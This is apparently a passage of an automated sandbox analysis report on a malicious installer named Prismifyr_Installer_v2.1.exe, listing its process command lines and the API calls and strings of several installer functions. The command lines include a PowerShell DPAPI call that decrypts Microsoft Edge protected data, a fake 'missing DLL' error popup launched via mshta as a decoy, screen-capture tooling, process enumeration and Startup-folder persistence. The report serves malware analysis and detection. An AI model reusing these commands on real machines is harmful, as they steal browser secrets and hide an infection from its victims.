Commandline:	powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'CurrentUser')
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:03:08
Start date:	24/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.bat" "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png" "
Imagebase:	0x7ff6f8a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:03:08
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:03:08
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /nologo /r:"Microsoft.VisualBasic.dll" /win32manifest:"app.manifest" /out:"screenCapture_1.3.2.exe" "C:\Users\user\AppData\Local\Temp\SCREEN~1\SCREEN~1.BAT"
Imagebase:	0x980000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:03:09
Start date:	24/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9E2A.tmp" "c:\Users\user\AppData\Local\Temp\screenCapture\CSCEE08CA83D7542AAB04A7698A66ECD4F.TMP"
Imagebase:	0x670000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:03:09
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Local\Temp\screenCapture\screenCapture_1.3.2.exe
Wow64 process (32bit):	false
Commandline:	screenCapture_1.3.2.exe "C:\Users\user\AppData\Local\Temp\2024924-64-yswszl.55ad9.png"
Imagebase:	0x550000
File size:	12'800 bytes
MD5 hash:	18CDE4CFC9C121CC421152F9F86AED6B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:03:09
Start date:	24/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /d /s /c "tasklist"
Imagebase:	0x7ff6f8a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: cmd.exePID: 7008, Parent PID: 64

General

Target ID:	30
Start time:	06:03:09
Start date:	24/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()""
Imagebase:	0x7ff6f8a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:03:09
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:03:09
Start date:	24/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:03:09
Start date:	24/10/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist
Imagebase:	0x7ff63a2b0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:03:09
Start date:	24/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()"
Imagebase:	0x7ff6f8a20000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:03:09
Start date:	24/10/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	mshta "javascript:new ActiveXObject('WScript.Shell').Popup('The program can not start because MSVCP140.dll is missing from your computer. Try reinstalling the program to fix this problem.', 0, 'Error', 16);close()"
Imagebase:	0x7ff70fdc0000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:03:22
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Prismifyr_Installer_v2.1.exe"
Imagebase:	0x7ff6fc6a0000
File size:	186'389'504 bytes
MD5 hash:	F90856B824B429A51D390C25F21C9683
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	27.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.2%
Total number of Nodes:	1333
Total number of Limit Nodes:	35

Executed Functions

Function 0040338F Relevance: 75.7, APIs: 33, Strings: 10, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 004033B2
GetVersion.KERNEL32 ref: 004033B8
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004033EB
#17.COMCTL32(?,00000006,00000008,0000000A), ref: 00403428
OleInitialize.OLE32(00000000), ref: 0040342F
SHGetFileInfoW.SHELL32(00440208,00000000,?,000002B4,00000000), ref: 0040344B
GetCommandLineW.KERNEL32(00472EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 00403460
CharNextW.USER32(00000000,004CB000,00000020,004CB000,00000000,?,00000006,00000008,0000000A), ref: 00403498

Part of subcall function 00406694: GetModuleHandleA.KERNEL32(?,00000020,?,00403401,0000000A), ref: 004066A6
Part of subcall function 00406694: GetProcAddress.KERNEL32(00000000,?), ref: 004066C1

GetTempPathW.KERNEL32(00002000,004DF000,?,00000006,00000008,0000000A), ref: 004035D2
GetWindowsDirectoryW.KERNEL32(004DF000,00001FFB,?,00000006,00000008,0000000A), ref: 004035E3
lstrcatW.KERNEL32(004DF000,\Temp,?,00000006,00000008,0000000A), ref: 004035EF
GetTempPathW.KERNEL32(00001FFC,004DF000,004DF000,\Temp,?,00000006,00000008,0000000A), ref: 00403603
lstrcatW.KERNEL32(004DF000,Low,?,00000006,00000008,0000000A), ref: 0040360B
SetEnvironmentVariableW.KERNEL32(TEMP,004DF000,004DF000,Low,?,00000006,00000008,0000000A), ref: 0040361C
SetEnvironmentVariableW.KERNEL32(TMP,004DF000,?,00000006,00000008,0000000A), ref: 00403624
DeleteFileW.KERNELBASE(004DB000,?,00000006,00000008,0000000A), ref: 00403638

Part of subcall function 004062BA: lstrcpynW.KERNEL32(?,?,00002000,00403460,00472EE0,NSIS Error,?,00000006,00000008,0000000A), ref: 004062C7

ExitProcess.KERNEL32(00000006,?,00000006,00000008,0000000A), ref: 004036FE
CoUninitialize.COMBASE(00000006,?,00000006,00000008,0000000A), ref: 00403703
ExitProcess.KERNEL32 ref: 00403724
lstrcatW.KERNEL32(004DF000,~nsu,004CB000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403737
lstrcatW.KERNEL32(004DF000,0040A26C,004DF000,~nsu,004CB000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403746
lstrcatW.KERNEL32(004DF000,.tmp,004DF000,~nsu,004CB000,00000000,00000006,?,00000006,00000008,0000000A), ref: 00403751
lstrcmpiW.KERNEL32(004DF000,004D7000,004DF000,.tmp,004DF000,~nsu,004CB000,00000000,00000006,?,00000006,00000008,0000000A), ref: 0040375D
SetCurrentDirectoryW.KERNEL32(004DF000,004DF000,?,00000006,00000008,0000000A), ref: 00403779
DeleteFileW.KERNEL32(0043C208,0043C208,?,0047B000,00000008,?,00000006,00000008,0000000A), ref: 004037D3
CopyFileW.KERNEL32(004E7000,0043C208,00000001,?,00000006,00000008,0000000A), ref: 004037E7
CloseHandle.KERNEL32(00000000,0043C208,0043C208,?,0043C208,00000000,?,00000006,00000008,0000000A), ref: 00403814
GetCurrentProcess.KERNEL32(00000028,0000000A,00000006,00000008,0000000A), ref: 00403843
OpenProcessToken.ADVAPI32(00000000), ref: 0040384A
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040385F
AdjustTokenPrivileges.ADVAPI32 ref: 00403882
ExitWindowsEx.USER32(00000002,80040002), ref: 004038A7
ExitProcess.KERNEL32 ref: 004038CA

Strings

NSIS Error, xrefs: 00403451
TEMP, xrefs: 00403617
UXTHEME, xrefs: 004033DF, 004033E4, 004033EA
TMP, xrefs: 0040361F
SeShutdownPrivilege, xrefs: 00403859
~nsu, xrefs: 0040372F
Error launching installer, xrefs: 004036BA
.tmp, xrefs: 0040374B
\Temp, xrefs: 004035E9
Low, xrefs: 00403605

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Processlstrcat$ExitFile$CurrentDeleteDirectoryEnvironmentHandlePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeModuleNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: .tmp$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 424501083-3195845224
Opcode ID: d8143391da9922f0f8fdd9eae6183e51d391a53b8ae8d145ad5f2599bc791527
Instruction ID: 33fbdd78d52bfd04f2c73b4da217482bb076a8c6d1615cdfa2cd3638f3c4bec2
Opcode Fuzzy Hash: d8143391da9922f0f8fdd9eae6183e51d391a53b8ae8d145ad5f2599bc791527
Instruction Fuzzy Hash: 45D1F471100310AAE720BF769D45B2B3AADEB4070AF10447FF885B62E1DBBD8D55876E

Function 00405461 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004054BF
GetDlgItem.USER32(?,000003EE), ref: 004054CE
GetClientRect.USER32(?,?), ref: 0040550B
GetSystemMetrics.USER32(00000002), ref: 00405512
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405533
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405544
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405557
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405565
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405578
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040559A
ShowWindow.USER32(?,00000008), ref: 004055AE
GetDlgItem.USER32(?,000003EC), ref: 004055CF
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004055DF
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004055F8
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405604
GetDlgItem.USER32(?,000003F8), ref: 004054DD

Part of subcall function 00404266: SendMessageW.USER32(00000028,?,00000001,00404091), ref: 00404274

GetDlgItem.USER32(?,000003EC), ref: 00405621
CreateThread.KERNELBASE(00000000,00000000,Function_000053F5,00000000), ref: 0040562F
CloseHandle.KERNELBASE(00000000), ref: 00405636
ShowWindow.USER32(00000000), ref: 0040565A
ShowWindow.USER32(?,00000008), ref: 0040565F
ShowWindow.USER32(00000008), ref: 004056A9
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004056DD
CreatePopupMenu.USER32 ref: 004056EE
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405702
GetWindowRect.USER32(?,?), ref: 00405722
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040573B
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405773
OpenClipboard.USER32(00000000), ref: 00405783
EmptyClipboard.USER32 ref: 00405789
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405795
GlobalLock.KERNEL32(00000000), ref: 0040579F
SendMessageW.USER32(?,00001073,00000000,?), ref: 004057B3
GlobalUnlock.KERNEL32(00000000), ref: 004057D3
SetClipboardData.USER32(0000000D,00000000), ref: 004057DE
CloseClipboard.USER32 ref: 004057E4

Strings

<#j, xrefs: 004056B3
{, xrefs: 004056C7

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: <#j${
API String ID: 590372296-1661707694
Opcode ID: 3f5756e17ddf514bb7e58e27119461a6e63aa272c655e6837988b65713ff16ec
Instruction ID: bae72a1d173c3811f2fd5642bc5838002141c6bee16c4b6d0499208050eeb164
Opcode Fuzzy Hash: 3f5756e17ddf514bb7e58e27119461a6e63aa272c655e6837988b65713ff16ec
Instruction Fuzzy Hash: 3CB12970900608FFDB119FA0DE89EAE7B79FB48354F00413AFA45A61A0CBB55E91DF58

Function 004059CC Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,004DF000,76233420,00000000), ref: 004059F5
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\*.*,\*.*,C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\*.*,?,?,004DF000,76233420,00000000), ref: 00405A3D
lstrcatW.KERNEL32(?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\*.*,?,?,004DF000,76233420,00000000), ref: 00405A60
lstrlenW.KERNEL32(?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\*.*,?,?,004DF000,76233420,00000000), ref: 00405A66
FindFirstFileW.KERNELBASE(C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\*.*,?,?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\*.*,?,?,004DF000,76233420,00000000), ref: 00405A76
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405B16
FindClose.KERNEL32(00000000), ref: 00405B25

Strings

C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\*.*, xrefs: 00405A25, 00405A2B, 00405A3C, 00405A75
\*.*, xrefs: 00405A37

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsyC753.tmp\7z-out\resources\app.asar.unpacked\node_modules\screenshot-desktop\lib\win32\*.*$\*.*
API String ID: 2035342205-3913295494
Opcode ID: 381ae1539308b0fff5c23660480c7799636f68814d34eb948432fba1f876741c
Instruction ID: 3baa02bdf70247edfb0f680676f8bffda79515ede8bd61e7e13478a9eee65f3b
Opcode Fuzzy Hash: 381ae1539308b0fff5c23660480c7799636f68814d34eb948432fba1f876741c
Instruction Fuzzy Hash: E141D430900914AACB21AB618C89ABF7778EF45369F10427FF801711D1D77CAD81DE6E

Function 004065FD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(004DF000,00468298,C:\,00405CE0,C:\,C:\,00000000,C:\,C:\,004DF000,?,76233420,004059EC,?,004DF000,76233420), ref: 00406608
FindClose.KERNELBASE(00000000), ref: 00406614

Strings

C:\, xrefs: 004065FD

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000054F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000553000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2536289638.000000000059F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Prismifyr_Installer_v2.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\
API String ID: 2295610775-3404278061
Opcode ID: f7cd178be2e6469beafc72b660366141f3ce998a63a06fca00c04ee689428cf9
Instruction ID: 086872f0bf6ffc0fec3bf9e050170664210a11ef237051a194e92f35cf11c1a2
Opcode Fuzzy Hash: f7cd178be2e6469beafc72b660366141f3ce998a63a06fca00c04ee689428cf9
Instruction Fuzzy Hash: 52D012315455205BC7001B386E0C85B7B599F553317158F37F46AF51E0DB758C62869D

Function 00402104 Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085F0,?,00000001,004085E0,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402183

Memory Dump Source

Source File: 00000000.00000002.2535787698.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2535765193.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535814367.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000040E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000412000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000416000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000468000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2535839594.0000000000483000.00000004.00000001.01000000.00000003.sdmpDownload File
